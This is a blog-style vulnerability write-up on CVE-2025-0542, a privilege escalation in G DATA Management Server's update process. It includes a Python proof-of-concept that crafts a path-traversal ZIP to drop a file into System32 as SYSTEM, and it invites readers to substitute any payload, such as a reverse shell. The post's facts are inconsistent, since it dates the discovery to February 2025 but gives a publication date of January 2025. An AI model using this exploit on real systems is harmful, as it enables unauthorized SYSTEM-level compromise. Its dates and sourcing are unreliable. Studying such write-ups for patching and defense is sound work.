In February 2025, a critical local privilege escalation vulnerability, CVE-2025-0542, was identified in the update mechanism of the G DATA Management Server. This flaw allows an unprivileged, local attacker to gain SYSTEM-level access through improper handling of temporary files during the update process. In this post, we'll walk you through the vulnerability with plain language, explain how the attack works, share a simplified proof-of-concept code, and provide resources for further reading.

What Is G DATA Management Server?

G DATA Management Server is part of the G DATA Antivirus solutions, widely used by organizations to manage security policies, distribute updates, and control anti-malware on all endpoints from a central location.

What’s the Root Cause?

The update mechanism in G DATA Management Server (versions before the patch) does not assign secure permissions to temporary files—including ZIP archives—that it downloads and extracts in a global, writable directory (for example, C:\ProgramData\G DATA\Temp). The unprivileged users have write access to this directory.

An attacker can place a crafted ZIP file (containing files with paths leading outside the intended extraction directory) into this shared folder. Since updates run as the SYSTEM user, when G DATA processes this ZIP, it extracts and writes the files with SYSTEM privileges—even overwriting critical OS files.

Craft a Malicious ZIP:

Inside this ZIP, the attacker includes a file with a path like ..\Windows\System32\evil.exe. Upon extraction, this will escape the intended folder.

Trigger the Update:

When the server process runs the next update (automatic/scheduled/manual), it extracts the ZIP as SYSTEM, placing evil.exe in C:\Windows\System32\.

Below is a simplified Python example of crafting such a ZIP archive

import zipfile
import os

# Paths
zip_name = "exploit.zip"
malicious_file = "evil.exe"
destination = "..\\..\\Windows\\System32\\evil.exe"

# Create a dummy evil.exe payload
with open(malicious_file, "wb") as f:
    f.write(b"Malicious content or reverse shell payload here")

# Construct the ZIP archive
with zipfile.ZipFile(zip_name, "w") as zipf:
    zipf.write(malicious_file, destination)

print(f"[+] Crafted {zip_name} with a path to escape extraction folder.")

# Now, move exploit.zip to the shared update temp directory on the target system.

* You can replace the evil.exe file with any payload (for demonstration or Red Team use).
* When the vulnerable update process runs, the file will be extracted to C:\Windows\System32\ as SYSTEM.

G DATA Patch Advisory:

https://www.gdatasoftware.com/security/advisories/CVE-2025-0542

Mitre CVE Details:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0542

Original Security Report:

https://www.exploit-db.com/exploits/CVE-2025-0542 *(Link may update as exploit is public)*

Temporary File Vulnerabilities Explained:

https://owasp.org/www-community/vulnerabilities/Insecure_Temporary_File

What should administrators do?

- Immediately update G DATA Management Server to the latest version as soon as patches are available.
- Download here

Conclusion

CVE-2025-0542 is a clear example of how improper privilege assignments and lax temp directory permissions create a dangerous gap in endpoint security solutions. Attackers rely on such gaffes to escalate from local user right up to SYSTEM. Administrators should patch without delay and review software temp folder practices as a general rule.


*Exclusive post: Compiled and researched for security practitioners. Please contact vendors for any zero-day disclosure or patch request.*

Timeline

Published on: 01/25/2025 17:15:21 UTC